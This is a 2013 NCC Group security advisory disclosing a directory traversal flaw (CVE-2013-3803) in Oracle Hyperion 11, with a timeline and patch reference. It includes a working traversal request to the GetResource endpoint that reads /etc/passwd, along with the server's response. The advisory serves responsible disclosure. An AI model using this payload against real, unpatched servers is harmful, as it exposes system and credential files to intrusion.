Oracle Hyperion 11 – Directory Traversal
======= Summary ======= Name: Oracle Hyperion 11 - Directory Traversal Release Date: 30 July 2013 Reference: NGS00434 Discoverer: Richard Warren <richard.warren@nccgroup.com> Vendor: Oracle Vendor Reference: S0318807 Systems Affected: Oracle Hyperion 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier, and 11.1.2.2.305 and earlier Risk: High Status: Published ======== TimeLine ======== Discovered: 20 November 2012 Released: 20 November 2012 Approved: 20 November 2012 Reported: 20 November 2012 Fixed: 16 July 2013 Published: 30 July 2013 =========== Description =========== Product: Oracle Application: Hyperion Version: 11.x Vulnerability ------------- The application was found to be vulnerable to a directory traversal attack. The following URL resulted in directory transversal. http://localhost:19000/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../LFI_HERE ================= Technical Details ================= Exploitation ------------ The following request/response was observed: GET /raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../etc/passwd HTTP/1.0 HTTP/1.1 200 OK Date: Mon, 12 Nov 2012 15:28:10 GMT Server: Oracle-Application-Server-11g Cache-Control: no-cache Pragma: no-cache Expires: Mon, 1 Jan 1990 00:00:00 GMT Last-Modified: Mon, 12 Nov 2012 15:28:10 GMT X-ORACLE-DMS-ECID: 004n^rmuJTjAtH^5lV5EiZ0004FS0058zX X-Powered-By: Servlet/2.5 JSP/2.1 Connection: close Content-Type: text/plain Content-Language: en root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin --SNIP-- =============== Fix Information =============== Fixed in Oracle CPU July 2013: http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html Assigned CVE-2013-3803 NCC Group Research http://www.nccgroup.com/research For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. </a> |